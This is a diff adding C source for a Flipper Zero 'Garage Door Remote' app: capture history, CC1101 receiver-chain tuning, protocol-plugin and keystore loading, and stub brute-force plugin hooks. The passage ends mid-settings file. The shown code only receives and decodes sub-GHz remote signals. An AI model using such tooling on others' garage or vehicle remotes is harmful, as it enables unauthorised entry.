+void gdr_history_set_item_str(GDRHistory* instance, uint16_t idx, const char* str) {
+    furi_check(instance);
+    furi_check(str);
+
+    if(idx >= GDRHistoryItemArray_size(instance->data)) {
+        return;
+    }
+
+    GDRHistoryItem* item = GDRHistoryItemArray_get(instance->data, idx);
+    uint16_t old_offset = item->text_offset;
+    uint16_t old_len = item->text_len;
+
+    gdr_history_arena_remove(instance, old_offset, old_len);
+
+    size_t new_offset = furi_string_size(instance->text_arena);
+    size_t new_len = strlen(str);
+    furi_check(new_offset <= UINT16_MAX);
+    furi_check(new_len <= UINT16_MAX);
+    furi_string_cat_str(instance->text_arena, str);
+    item->text_offset = (uint16_t)new_offset;
+    item->text_len = (uint16_t)new_len;
+}

applications/system/Garage Door Remote/gdr_history.h

@@ -0,0 +1,63 @@
+// gdr_history.h
+#pragma once
+
+#include <stddef.h>
+#include <lib/subghz/receiver.h>
+#include <lib/subghz/protocols/base.h>
+
+#define GDR_HISTORY_MAX 10
+
+typedef struct SubGhzEnvironment SubGhzEnvironment;
+typedef struct GDRHistory GDRHistory;
+
+typedef enum {
+    GDRHistorySourceUnknown = 0,
+    GDRHistorySourceExternal,
+    GDRHistorySourceInternal,
+    GDRHistorySourceCount,
+} GDRHistorySource;
+
+GDRHistory* gdr_history_alloc(void);
+void gdr_history_free(GDRHistory* instance);
+void gdr_history_reset(GDRHistory* instance);
+uint16_t gdr_history_get_item(GDRHistory* instance);
+uint16_t gdr_history_get_last_index(GDRHistory* instance);
+GDRHistorySource gdr_history_get_source(
+    GDRHistory* instance,
+    uint16_t idx);
+const char* gdr_history_source_name(GDRHistorySource source);
+void gdr_history_format_status_text(
+    GDRHistory* instance,
+    char* output,
+    size_t output_size);
+void gdr_history_get_status_text(GDRHistory* instance, FuriString* output);
+
+bool gdr_history_get_capture_path(
+    GDRHistory* instance,
+    uint16_t idx,
+    FuriString* out_path);
+bool gdr_history_capture_path_equals(
+    GDRHistory* instance,
+    uint16_t idx,
+    const char* path);
+
+bool gdr_history_add_to_history(
+    GDRHistory* instance,
+    void* context,
+    SubGhzRadioPreset* preset,
+    GDRHistorySource source);
+void gdr_history_delete_item(GDRHistory* instance, uint16_t idx);
+void gdr_history_get_text_item_menu(
+    GDRHistory* instance,
+    FuriString* output,
+    uint16_t idx);
+void gdr_history_get_text_item_detail(
+    GDRHistory* instance,
+    uint16_t idx,
+    FuriString* output,
+    SubGhzEnvironment* environment);
+FlipperFormat* gdr_history_get_raw_data(GDRHistory* instance, uint16_t idx);
+
+void gdr_history_release_scratch(GDRHistory* instance);
+
+void gdr_history_set_item_str(GDRHistory* instance, uint16_t idx, const char* str);

applications/system/Garage Door Remote/gdr_icons.h

@@ -0,0 +1,13 @@
+#pragma once
+
+#include <gui/icon.h>
+
+extern const Icon I_DolphinDone_80x58;
+extern const Icon I_DolphinWait_59x54;
+extern const Icon I_Lock_7x8;
+extern const Icon I_PP_scanning_123x52;
+extern const Icon I_PP_scanning_ext_123x52;
+extern const Icon I_Pin_back_arrow_10x8;
+extern const Icon I_WarningDolphin_45x42;
+extern const Icon I_gdr_10px;
+extern const Icon I_subghz_10px;

applications/system/Garage Door Remote/helpers/gdr_psa_bf_host.c

@@ -0,0 +1,14 @@
+#include "gdr_psa_bf_host.h"
+
+bool gdr_psa_bf_plugin_ensure_loaded(GDRApp* app) {
+    (void)app;
+    return false;
+}
+
+void gdr_psa_bf_plugin_unload_if_idle(GDRApp* app) {
+    (void)app;
+}
+
+void gdr_psa_bf_context_release(GDRApp* app) {
+    (void)app;
+}

applications/system/Garage Door Remote/helpers/gdr_psa_bf_host.h

@@ -0,0 +1,15 @@
+#pragma once
+
+#include <stdbool.h>
+
+typedef struct GDRApp GDRApp;
+
+bool gdr_psa_bf_plugin_ensure_loaded(GDRApp* app);
+void gdr_psa_bf_plugin_unload_if_idle(GDRApp* app);
+void gdr_psa_bf_context_release(GDRApp* app);
+
+void gdr_receiver_info_rebuild_normal_widget(void* app);
+
+#ifdef ENABLE_SUB_DECODE_SCENE
+void gdr_subdecode_psa_bf_complete_refresh(void* app);
+#endif

applications/system/Garage Door Remote/helpers/gdr_rx_chain.c

@@ -0,0 +1,703 @@
+// helpers/gdr_rx_chain.c
+#include "gdr_rx_chain.h"
+
+#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
+
+#include <furi.h>
+#include <loader/firmware_api/firmware_api.h>
+#include "../protocols/keys.h"
+
+#define TAG "GDRRxChain"
+
+#define GDR_CHAIN_KEYSTORE_DIR APP_ASSETS_PATH("encrypted")
+
+#define GDR_CC1101_REG_FIFOTHR  0x03U
+#define GDR_CC1101_REG_FSCTRL1  0x07U
+#define GDR_CC1101_REG_MDMCFG4  0x10U
+#define GDR_CC1101_REG_MDMCFG3  0x11U
+#define GDR_CC1101_REG_MDMCFG2  0x12U
+#define GDR_CC1101_REG_DEVIATN  0x15U
+#define GDR_CC1101_REG_AGCCTRL2 0x1BU
+#define GDR_CC1101_REG_AGCCTRL1 0x1CU
+#define GDR_CC1101_REG_AGCCTRL0 0x1DU
+#define GDR_CC1101_REG_FREND1   0x21U
+#define GDR_CC1101_REG_TEST2    0x2CU
+#define GDR_CC1101_REG_TEST1    0x2DU
+
+#define GDR_CC1101_CHANBW_135_KHZ_MASK 0xA0U
+#define GDR_CC1101_XTAL_HZ             26000000UL
+#define GDR_FM_BANDWIDTH_GUARD_HZ      50000UL
+
+#define GDR_CC1101_MOD_FORMAT_MASK 0x70U
+#define GDR_CC1101_MOD_FORMAT_2FSK 0x00U
+#define GDR_CC1101_MOD_FORMAT_GFSK 0x10U
+#define GDR_CC1101_MOD_FORMAT_OOK  0x30U
+
+static bool gdr_rx_chain_preset_get_register(
+    const uint8_t* data,
+    size_t size,
+    uint8_t reg,
+    uint8_t* value) {
+    if(!data || !value || (size < 2U)) {
+        return false;
+    }
+    for(size_t i = 0; i + 1U < size; i += 2U) {
+        if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
+            break;
+        }
+        if(data[i] == reg) {
+            *value = data[i + 1U];
+            return true;
+        }
+    }
+    return false;
+}
+
+static bool gdr_rx_chain_preset_set_register(
+    uint8_t* data,
+    size_t size,
+    uint8_t reg,
+    uint8_t value) {
+    if(!data || (size < 2U)) {
+        return false;
+    }
+    for(size_t i = 0; i + 1U < size; i += 2U) {
+        if((data[i] == 0x00U) && (data[i + 1U] == 0x00U)) {
+            break;
+        }
+        if(data[i] == reg) {
+            data[i + 1U] = value;
+            return true;
+        }
+    }
+    return false;
+}
+
+static bool gdr_rx_chain_preset_find_terminator(
+    const uint8_t* data,
+    size_t size,
+    size_t* offset) {
+    if(!data || !offset || size < 2U) {
+        return false;
+    }
+    for(size_t i = 0; i + 1U < size; i += 2U) {
+        if(data[i] == 0x00U && data[i + 1U] == 0x00U) {
+            *offset = i;
+            return true;
+        }
+    }
+    return false;
+}
+
+static uint32_t gdr_rx_chain_channel_bandwidth_hz(uint8_t mdmcfg4) {
+    uint8_t exponent = (mdmcfg4 >> 6U) & 0x03U;
+    uint8_t mantissa = (mdmcfg4 >> 4U) & 0x03U;
+    uint32_t denominator = 8UL * (4UL + mantissa) * (1UL << exponent);
+    return GDR_CC1101_XTAL_HZ / denominator;
+}
+
+static uint32_t gdr_rx_chain_data_rate_hz(uint8_t mdmcfg4, uint8_t mdmcfg3) {
+    uint8_t exponent = mdmcfg4 & 0x0FU;
+    uint64_t numerator =
+        (uint64_t)(256UL + mdmcfg3) * (1ULL << exponent) * GDR_CC1101_XTAL_HZ;
+    return (uint32_t)((numerator + (1ULL << 27U)) >> 28U);
+}
+
+static uint32_t gdr_rx_chain_deviation_hz(uint8_t deviatn) {
+    uint8_t exponent = (deviatn >> 4U) & 0x07U;
+    uint8_t mantissa = deviatn & 0x07U;
+    uint64_t numerator =
+        (uint64_t)GDR_CC1101_XTAL_HZ * (8UL + mantissa) * (1ULL << exponent);
+    return (uint32_t)((numerator + (1ULL << 16U)) >> 17U);
+}
+
+static uint8_t gdr_rx_chain_select_bandwidth_bits(
+    uint32_t minimum_hz,
+    uint32_t* selected_hz) {
+    static const uint8_t bandwidth_bits[] = {
+        0x0FU,
+        0x0EU,
+        0x0DU,
+        0x0CU,
+        0x0BU,
+        0x0AU,
+        0x09U,
+        0x08U,
+        0x07U,
+        0x06U,
+        0x05U,
+        0x04U,
+        0x03U,
+        0x02U,
+        0x01U,
+        0x00U,
+    };
+
+    const size_t bandwidth_count = sizeof(bandwidth_bits) / sizeof(bandwidth_bits[0]);
+    for(size_t i = 0; i < bandwidth_count; i++) {
+        uint32_t bandwidth =
+            gdr_rx_chain_channel_bandwidth_hz((uint8_t)(bandwidth_bits[i] << 4U));
+        if(bandwidth >= minimum_hz) {
+            if(selected_hz) {
+                *selected_hz = bandwidth;
+            }
+            return bandwidth_bits[i];
+        }
+    }
+
+    if(selected_hz) {
+        *selected_hz = gdr_rx_chain_channel_bandwidth_hz(0x00U);
+    }
+    return 0x00U;
+}
+
+static const char* gdr_rx_chain_plugin_path(GDRProtocolRegistryFilter filter) {
+    return (filter == GDRProtocolRegistryFilterFM) ?
+               APP_ASSETS_PATH("plugins/gdr_fm_plugin.fal") :
+               APP_ASSETS_PATH("plugins/gdr_am_plugin.fal");
+}
+
+GDRRxChain* gdr_rx_chain_alloc(char label) {
+    GDRRxChain* chain = malloc(sizeof(GDRRxChain));
+    furi_check(chain);
+    memset(chain, 0, sizeof(GDRRxChain));
+    chain->label = label;
+    chain->preset.name = furi_string_alloc();
+    furi_check(chain->preset.name);
+    chain->state = GDRTxRxStateIDLE;
+    chain->filter = GDRProtocolRegistryFilterAM;
+    return chain;
+}
+
+static void gdr_rx_chain_unload_plugin(GDRRxChain* chain) {
+    chain->plugin = NULL;
+    chain->registry = NULL;
+    if(chain->plugin_manager) {
+        plugin_manager_free(chain->plugin_manager);
+        chain->plugin_manager = NULL;
+    }
+    if(chain->resolver) {
+        composite_api_resolver_free(chain->resolver);
+        chain->resolver = NULL;
+    }
+}
+
+void gdr_rx_chain_free(GDRRxChain* chain) {
+    if(!chain) {
+        return;
+    }
+
+    // Make sure RX is stopped before tearing anything down.
+    gdr_rx_chain_stop(chain);
+
+    if(chain->receiver) {
+        subghz_receiver_set_rx_callback(chain->receiver, NULL, NULL);
+        subghz_receiver_free(chain->receiver);
+        chain->receiver = NULL;
+    }
+
+    if(chain->worker) {
+        if(subghz_worker_is_running(chain->worker)) {
+            subghz_worker_stop(chain->worker);
+        }
+        subghz_worker_free(chain->worker);
+        chain->worker = NULL;
+    }
+
+    if(chain->device) {
+        subghz_devices_idle(chain->device);
+        radio_device_loader_end(chain->device);
+        chain->device = NULL;
+    }
+
+    gdr_rx_chain_unload_plugin(chain);
+
+    if(chain->environment) {
+        subghz_environment_free(chain->environment);
+        chain->environment = NULL;
+    }
+
+    if(chain->preset.name) {
+        furi_string_free(chain->preset.name);
+        chain->preset.name = NULL;
+    }
+
+    if(chain->owned_preset_data) {
+        free(chain->owned_preset_data);
+        chain->owned_preset_data = NULL;
+    }
+
+    free(chain);
+}
+
+bool gdr_rx_chain_acquire_device(
+    GDRRxChain* chain,
+    SubGhzRadioDeviceType type) {
+    furi_check(chain);
+
+    chain->device = radio_device_loader_set(NULL, type);
+    if(!chain->device) {
+        FURI_LOG_E(TAG, "[%c] Failed to acquire radio device (type=%d)", chain->label, type);
+        return false;
+    }
+
+    chain->is_external = radio_device_loader_is_external(chain->device);
+
+    if(type == SubGhzRadioDeviceTypeExternalCC1101 && !chain->is_external) {
+
+        FURI_LOG_E(TAG, "[%c] External requested but unavailable", chain->label);
+        radio_device_loader_end(chain->device);
+        chain->device = NULL;
+        return false;
+    }
+
+    subghz_devices_reset(chain->device);
+    subghz_devices_idle(chain->device);
+    FURI_LOG_I(
+        TAG, "[%c] Acquired %s radio", chain->label, chain->is_external ? "external" : "internal");
+    return true;
+}
+
+bool gdr_rx_chain_set_preset(
+    GDRRxChain* chain,
+    SubGhzSetting* setting,
+    const char* preset_name,
+    uint32_t frequency) {
+    furi_check(chain);
+    furi_check(setting);
+    furi_check(preset_name);
+
+    size_t preset_count = subghz_setting_get_preset_count(setting);
+    for(size_t i = 0; i < preset_count; i++) {
+        if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
+            return gdr_rx_chain_set_preset_data(
+                chain,
+                preset_name,
+                subghz_setting_get_preset_data(setting, i),
+                subghz_setting_get_preset_data_size(setting, i),
+                frequency);
+        }
+    }
+
+    FURI_LOG_E(TAG, "[%c] Unknown preset %s", chain->label, preset_name);
+    return false;
+}
+
+bool gdr_rx_chain_set_preset_data(
+    GDRRxChain* chain,
+    const char* preset_name,
+    uint8_t* preset_data,
+    size_t preset_data_size,
+    uint32_t frequency) {
+    furi_check(chain);
+    furi_check(preset_name);
+
+    if(!preset_data || preset_data_size < 2U) {
+        FURI_LOG_E(TAG, "[%c] Invalid preset data for %s", chain->label, preset_name);
+        return false;
+    }
+
+    if(chain->owned_preset_data) {
+        free(chain->owned_preset_data);
+        chain->owned_preset_data = NULL;
+    }
+
+    furi_string_set(chain->preset.name, preset_name);
+    chain->preset.frequency = frequency;
+    chain->preset.data = preset_data;
+    chain->preset.data_size = preset_data_size;
+    chain->base_preset_data = preset_data;
+    chain->base_preset_data_size = preset_data_size;
+    chain->frequency = frequency;
+    chain->filter =
+        gdr_get_protocol_registry_filter_for_preset(preset_data, preset_data_size);
+    uint8_t mdmcfg4 = 0U;
+    chain->rx_bandwidth_hz = gdr_rx_chain_preset_get_register(
+                                 preset_data,
+                                 preset_data_size,
+                                 GDR_CC1101_REG_MDMCFG4,
+                                 &mdmcfg4) ?
+                                 gdr_rx_chain_channel_bandwidth_hz(mdmcfg4) :
+                                 0U;
+    return true;
+}
+
+static bool gdr_rx_chain_apply_ook_shield_profile(GDRRxChain* chain) {
+    if(!chain->base_preset_data || chain->preset.data_size < 2U) {
+        FURI_LOG_E(TAG, "[%c] cannot narrow RX BW without preset data", chain->label);
+        return false;
+    }
+
+    uint8_t mdmcfg4 = 0U;
+    if(!gdr_rx_chain_preset_get_register(
+           chain->base_preset_data,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_MDMCFG4,
+           &mdmcfg4)) {
+        FURI_LOG_W(TAG, "[%c] OOK preset missing MDMCFG4; retaining original", chain->label);
+        return true;
+    }
+
+    const uint8_t narrowed_mdmcfg4 =
+        (uint8_t)((mdmcfg4 & 0x0FU) | GDR_CC1101_CHANBW_135_KHZ_MASK);
+
+    const struct {
+        uint8_t reg;
+        uint8_t value;
+    } narrow_registers[] = {
+        {GDR_CC1101_REG_FIFOTHR, 0x47U},
+        {GDR_CC1101_REG_FSCTRL1, 0x06U},
+        {GDR_CC1101_REG_MDMCFG4, narrowed_mdmcfg4},
+        {GDR_CC1101_REG_AGCCTRL2, 0x04U},
+        {GDR_CC1101_REG_AGCCTRL1, 0x00U},
+        {GDR_CC1101_REG_AGCCTRL0, 0x92U},
+        {GDR_CC1101_REG_FREND1, 0x56U},
+        {GDR_CC1101_REG_TEST2, 0x81U},
+        {GDR_CC1101_REG_TEST1, 0x35U},
+    };
+
+    const size_t register_count = sizeof(narrow_registers) / sizeof(narrow_registers[0]);
+    size_t missing_count = 0U;
+    for(size_t i = 0; i < register_count; i++) {
+        uint8_t value = 0U;
+        if(!gdr_rx_chain_preset_get_register(
+               chain->base_preset_data,
+               chain->base_preset_data_size,
+               narrow_registers[i].reg,
+               &value)) {
+            missing_count++;
+        }
+    }
+
+    size_t terminator_offset = 0U;
+    if(!gdr_rx_chain_preset_find_terminator(
+           chain->base_preset_data, chain->base_preset_data_size, &terminator_offset)) {
+        FURI_LOG_W(TAG, "[%c] OOK preset has no terminator; retaining original", chain->label);
+        return true;
+    }
+
+    const size_t expanded_size = chain->base_preset_data_size + (missing_count * 2U);
+    uint8_t* copy = malloc(expanded_size);
+    if(!copy) {
+        FURI_LOG_E(TAG, "[%c] failed to build narrow RX preset", chain->label);
+        return false;
+    }
+
+    memcpy(copy, chain->base_preset_data, terminator_offset);
+    size_t write_offset = terminator_offset;
+    for(size_t i = 0; i < register_count; i++) {
+        uint8_t value = 0U;
+        if(!gdr_rx_chain_preset_get_register(
+               chain->base_preset_data,
+               chain->base_preset_data_size,
+               narrow_registers[i].reg,
+               &value)) {
+            copy[write_offset++] = narrow_registers[i].reg;
+            copy[write_offset++] = narrow_registers[i].value;
+        }
+    }
+    memcpy(
+        &copy[write_offset],
+        &chain->base_preset_data[terminator_offset],
+        chain->base_preset_data_size - terminator_offset);
+
+    for(size_t i = 0; i < register_count; i++) {
+        if(!gdr_rx_chain_preset_set_register(
+               copy, expanded_size, narrow_registers[i].reg, narrow_registers[i].value)) {
+            FURI_LOG_E(TAG, "[%c] failed to patch narrow RX preset", chain->label);
+            free(copy);
+            return false;
+        }
+    }
+
+    chain->owned_preset_data = copy;
+    chain->preset.data = copy;
+    chain->preset.data_size = expanded_size;
+    chain->rx_bandwidth_hz =
+        gdr_rx_chain_channel_bandwidth_hz(GDR_CC1101_CHANBW_135_KHZ_MASK);
+    FURI_LOG_I(TAG, "[%c] applied TI 135 kHz OOK sensitivity profile", chain->label);
+    return true;
+}
+
+static bool gdr_rx_chain_apply_fm_shield_profile(GDRRxChain* chain) {
+    uint8_t mdmcfg2 = 0U;
+    uint8_t mdmcfg3 = 0U;
+    uint8_t mdmcfg4 = 0U;
+    uint8_t deviatn = 0U;
+    if(!gdr_rx_chain_preset_get_register(
+           chain->base_preset_data,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_MDMCFG2,
+           &mdmcfg2) ||
+       !gdr_rx_chain_preset_get_register(
+           chain->base_preset_data,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_MDMCFG3,
+           &mdmcfg3) ||
+       !gdr_rx_chain_preset_get_register(
+           chain->base_preset_data,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_MDMCFG4,
+           &mdmcfg4) ||
+       !gdr_rx_chain_preset_get_register(
+           chain->base_preset_data,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_DEVIATN,
+           &deviatn)) {
+        FURI_LOG_W(TAG, "[%c] incomplete FM preset; retaining original bandwidth", chain->label);
+        return true;
+    }
+
+    uint8_t modulation = mdmcfg2 & GDR_CC1101_MOD_FORMAT_MASK;
+    if(modulation != GDR_CC1101_MOD_FORMAT_2FSK &&
+       modulation != GDR_CC1101_MOD_FORMAT_GFSK) {
+        FURI_LOG_W(TAG, "[%c] unsupported FM format; retaining original bandwidth", chain->label);
+        return true;
+    }
+
+    uint32_t data_rate = gdr_rx_chain_data_rate_hz(mdmcfg4, mdmcfg3);
+    uint32_t deviation = gdr_rx_chain_deviation_hz(deviatn);
+    uint32_t minimum_bandwidth =
+        data_rate + (2UL * deviation) + GDR_FM_BANDWIDTH_GUARD_HZ;
+    uint32_t selected_bandwidth = 0U;
+    uint8_t bandwidth_bits =
+        gdr_rx_chain_select_bandwidth_bits(minimum_bandwidth, &selected_bandwidth);
+    uint32_t original_bandwidth = gdr_rx_chain_channel_bandwidth_hz(mdmcfg4);
+
+    if(selected_bandwidth >= original_bandwidth) {
+        chain->rx_bandwidth_hz = original_bandwidth;
+        FURI_LOG_I(
+            TAG,
+            "[%c] FM preset already uses suitable %lu Hz bandwidth",
+            chain->label,
+            original_bandwidth);
+        return true;
+    }
+
+    uint8_t* copy = malloc(chain->base_preset_data_size);
+    if(!copy) {
+        FURI_LOG_E(TAG, "[%c] failed to copy FM preset", chain->label);
+        return false;
+    }
+    memcpy(copy, chain->base_preset_data, chain->base_preset_data_size);
+
+    uint8_t profiled_mdmcfg4 = (uint8_t)((mdmcfg4 & 0x0FU) | (bandwidth_bits << 4U));
+    if(!gdr_rx_chain_preset_set_register(
+           copy,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_MDMCFG4,
+           profiled_mdmcfg4)) {
+        free(copy);
+        return true;
+    }
+
+    if(selected_bandwidth <= 101562UL) {
+        uint8_t agcctrl2 = 0U;
+        if(gdr_rx_chain_preset_get_register(
+               copy,
+               chain->base_preset_data_size,
+               GDR_CC1101_REG_AGCCTRL2,
+               &agcctrl2)) {
+            gdr_rx_chain_preset_set_register(
+                copy,
+                chain->base_preset_data_size,
+                GDR_CC1101_REG_AGCCTRL2,
+                (uint8_t)((agcctrl2 & 0xF8U) | 0x03U));
+        }
+    }
+
+    chain->owned_preset_data = copy;
+    chain->preset.data = copy;
+    chain->preset.data_size = chain->base_preset_data_size;
+    chain->rx_bandwidth_hz = selected_bandwidth;
+    FURI_LOG_I(
+        TAG,
+        "[%c] FM Shield profile: rate=%lu dev=%lu bandwidth=%lu Hz",
+        chain->label,
+        data_rate,
+        deviation,
+        selected_bandwidth);
+    return true;
+}
+
+bool gdr_rx_chain_apply_shield_profile(GDRRxChain* chain) {
+    furi_check(chain);
+
+    if(chain->owned_preset_data) {
+        free(chain->owned_preset_data);
+        chain->owned_preset_data = NULL;
+    }
+    chain->preset.data = chain->base_preset_data;
+    chain->preset.data_size = chain->base_preset_data_size;
+
+    uint8_t mdmcfg2 = 0U;
+    if(!gdr_rx_chain_preset_get_register(
+           chain->base_preset_data,
+           chain->base_preset_data_size,
+           GDR_CC1101_REG_MDMCFG2,
+           &mdmcfg2)) {
+        FURI_LOG_W(TAG, "[%c] preset modulation unknown; retaining original", chain->label);
+        return true;
+    }
+
+    switch(mdmcfg2 & GDR_CC1101_MOD_FORMAT_MASK) {
+    case GDR_CC1101_MOD_FORMAT_OOK:
+        return gdr_rx_chain_apply_ook_shield_profile(chain);
+    case GDR_CC1101_MOD_FORMAT_2FSK:
+    case GDR_CC1101_MOD_FORMAT_GFSK:
+        return gdr_rx_chain_apply_fm_shield_profile(chain);
+    default:
+        FURI_LOG_W(TAG, "[%c] no Shield profile for modulation; retaining original", chain->label);
+        return true;
+    }
+}
+
+bool gdr_rx_chain_init_receiver(GDRRxChain* chain) {
+    furi_check(chain);
+
+    if(!chain->environment) {
+        chain->environment = subghz_environment_alloc();
+        if(!chain->environment) {
+            FURI_LOG_E(TAG, "[%c] Failed to allocate environment", chain->label);
+            return false;
+        }
+    }
+
+    if(!chain->plugin) {
+        CompositeApiResolver* resolver = composite_api_resolver_alloc();
+        if(!resolver) {
+            FURI_LOG_E(TAG, "[%c] Failed to allocate plugin resolver", chain->label);
+            return false;
+        }
+        composite_api_resolver_add(resolver, firmware_api_interface);
+
+        PluginManager* manager = plugin_manager_alloc(
+            GDR_PROTOCOL_PLUGIN_APP_ID,
+            GDR_PROTOCOL_PLUGIN_API_VERSION,
+            composite_api_resolver_get(resolver));
+        if(!manager) {
+            FURI_LOG_E(TAG, "[%c] Failed to allocate plugin manager", chain->label);
+            composite_api_resolver_free(resolver);
+            return false;
+        }
+
+        const char* plugin_path = gdr_rx_chain_plugin_path(chain->filter);
+        PluginManagerError error = plugin_manager_load_single(manager, plugin_path);
+        if(error != PluginManagerErrorNone) {
+            FURI_LOG_E(TAG, "[%c] Failed to load plugin %s: %d", chain->label, plugin_path, (int)error);
+            plugin_manager_free(manager);
+            composite_api_resolver_free(resolver);
+            return false;
+        }
+
+        const GDRProtocolPlugin* plugin = plugin_manager_get_ep(manager, 0U);
+        if(!plugin || !plugin->registry || plugin->filter != chain->filter) {
+            FURI_LOG_E(TAG, "[%c] Invalid plugin entry point", chain->label);
+            plugin_manager_free(manager);
+            composite_api_resolver_free(resolver);
+            return false;
+        }
+
+        chain->resolver = resolver;
+        chain->plugin_manager = manager;
+        chain->plugin = plugin;
+        chain->registry = plugin->registry;
+    }
+
+    subghz_environment_set_protocol_registry(chain->environment, chain->registry);
+
+    subghz_environment_load_keystore(chain->environment, GDR_CHAIN_KEYSTORE_DIR);
+    gdr_keys_load(chain->environment);
+
+    if(!chain->receiver) {
+        chain->receiver = subghz_receiver_alloc_init(chain->environment);
+        if(!chain->receiver) {
+            FURI_LOG_E(TAG, "[%c] Failed to allocate receiver", chain->label);
+            return false;
+        }
+        subghz_receiver_set_filter(chain->receiver, SubGhzProtocolFlag_Decodable);
+    }
+
+    if(!chain->worker) {
+        chain->worker = subghz_worker_alloc();
+        if(!chain->worker) {
+            FURI_LOG_E(TAG, "[%c] Failed to allocate worker", chain->label);
+            return false;
+        }
+        subghz_worker_set_overrun_callback(
+            chain->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset);
+        subghz_worker_set_pair_callback(
+            chain->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode);
+        subghz_worker_set_context(chain->worker, chain->receiver);
+    }
+
+    return true;
+}
+
+void gdr_rx_chain_set_decode_callback(
+    GDRRxChain* chain,
+    SubGhzReceiverCallback callback,
+    void* context) {
+    furi_check(chain);
+    furi_check(chain->receiver);
+    subghz_receiver_set_rx_callback(chain->receiver, callback, context);
+}
+
+bool gdr_rx_chain_start(GDRRxChain* chain) {
+    furi_check(chain);
+    if(!chain->device || !chain->worker || !chain->receiver) {
+        FURI_LOG_E(TAG, "[%c] start rejected (incomplete stack)", chain->label);
+        return false;
+    }
+    if(chain->state == GDRTxRxStateRx) {
+        return true;
+    }
+
+    if(!subghz_devices_is_frequency_valid(chain->device, chain->frequency)) {
+        FURI_LOG_E(TAG, "[%c] invalid frequency %lu", chain->label, chain->frequency);
+        return false;
+    }
+
+    subghz_receiver_reset(chain->receiver);
+
+    subghz_devices_reset(chain->device);
+    subghz_devices_idle(chain->device);
+    subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset.data);
+    subghz_devices_set_frequency(chain->device, chain->frequency);
+    subghz_devices_flush_rx(chain->device);
+    subghz_devices_set_rx(chain->device);
+
+    subghz_devices_start_async_rx(chain->device, subghz_worker_rx_callback, chain->worker);
+    subghz_worker_start(chain->worker);
+    chain->state = GDRTxRxStateRx;
+    FURI_LOG_I(TAG, "[%c] RX started on %lu Hz", chain->label, chain->frequency);
+    return true;
+}
+
+void gdr_rx_chain_stop(GDRRxChain* chain) {
+    if(!chain) {
+        return;
+    }
+    if(chain->state != GDRTxRxStateRx) {
+        return;
+    }
+
+    if(chain->worker && subghz_worker_is_running(chain->worker)) {
+        subghz_worker_stop(chain->worker);
+    }
+    if(chain->device) {
+        subghz_devices_stop_async_rx(chain->device);
+        subghz_devices_idle(chain->device);
+    }
+    chain->state = GDRTxRxStateIDLE;
+}
+
+float gdr_rx_chain_get_rssi(GDRRxChain* chain) {
+    furi_check(chain);
+    if(!chain->device || chain->state != GDRTxRxStateRx) {
+        return -127.0f;
+    }
+    return subghz_devices_get_rssi(chain->device);
+}
+
+#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE

applications/system/Garage Door Remote/helpers/gdr_rx_chain.h

@@ -0,0 +1,82 @@
+// helpers/gdr_rx_chain.h
+#pragma once
+
+#include "gdr_types.h"
+
+#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
+
+#include <lib/subghz/subghz_worker.h>
+#include <lib/subghz/receiver.h>
+#include <lib/subghz/subghz_setting.h>
+#include <lib/subghz/devices/devices.h>
+#include <lib/subghz/types.h>
+#include <lib/flipper_application/plugins/plugin_manager.h>
+#include <lib/flipper_application/plugins/composite_resolver.h>
+
+#include "radio_device_loader.h"
+#include "../protocols/protocol_items.h"
+#include "../protocols/gdr_protocol_plugins.h"
+
+typedef struct {
+    char label; // 'A' or 'B' (display tag)
+    const SubGhzDevice* device;
+    bool is_external;
+
+    SubGhzWorker* worker;
+    SubGhzReceiver* receiver;
+    SubGhzEnvironment* environment;
+
+    CompositeApiResolver* resolver;
+    PluginManager* plugin_manager;
+    const GDRProtocolPlugin* plugin;
+    const SubGhzProtocolRegistry* registry;
+    GDRProtocolRegistryFilter filter;
+
+    SubGhzRadioPreset preset; // .name is an owned FuriString
+    uint8_t* base_preset_data;
+    size_t base_preset_data_size;
+
+    uint8_t* owned_preset_data;
+    uint32_t frequency;
+    uint32_t rx_bandwidth_hz;
+
+    GDRTxRxState state;
+} GDRRxChain;
+
+GDRRxChain* gdr_rx_chain_alloc(char label);
+
+void gdr_rx_chain_free(GDRRxChain* chain);
+
+bool gdr_rx_chain_acquire_device(
+    GDRRxChain* chain,
+    SubGhzRadioDeviceType type);
+
+bool gdr_rx_chain_set_preset(
+    GDRRxChain* chain,
+    SubGhzSetting* setting,
+    const char* preset_name,
+    uint32_t frequency);
+
+bool gdr_rx_chain_set_preset_data(
+    GDRRxChain* chain,
+    const char* preset_name,
+    uint8_t* preset_data,
+    size_t preset_data_size,
+    uint32_t frequency);
+
+bool gdr_rx_chain_apply_shield_profile(GDRRxChain* chain);
+
+bool gdr_rx_chain_init_receiver(GDRRxChain* chain);
+
+void gdr_rx_chain_set_decode_callback(
+    GDRRxChain* chain,
+    SubGhzReceiverCallback callback,
+    void* context);
+
+bool gdr_rx_chain_start(GDRRxChain* chain);
+
+void gdr_rx_chain_stop(GDRRxChain* chain);
+
+float gdr_rx_chain_get_rssi(GDRRxChain* chain);
+
+#endif // ENABLE_DUAL_RX_SCENE || ENABLE_SHIELD_RX_SCENE

applications/system/Garage Door Remote/helpers/gdr_settings.c

@@ -0,0 +1,264 @@
+// helpers/gdr_settings.c
+#include "gdr_settings.h"
+#include <storage/storage.h>
+#include <flipper_format/flipper_format.h>
+#include <furi.h>
+#include <stdio.h>
+#include "../defines.h"
+#include "../protocols/protocols_common.h"
+
+#define TAG "GDRSettings"
+
+#define SETTINGS_FILE_HEADER  "GDR Settings"
+#define SETTINGS_FILE_VERSION 1
+
+void gdr_settings_set_defaults(GDRSettings* settings) {
+    settings->frequency = 433920000;
+    settings->preset_index = 0;
+    settings->tx_power = 0;
+    settings->auto_save = false;
+    settings->hopping_enabled = false;
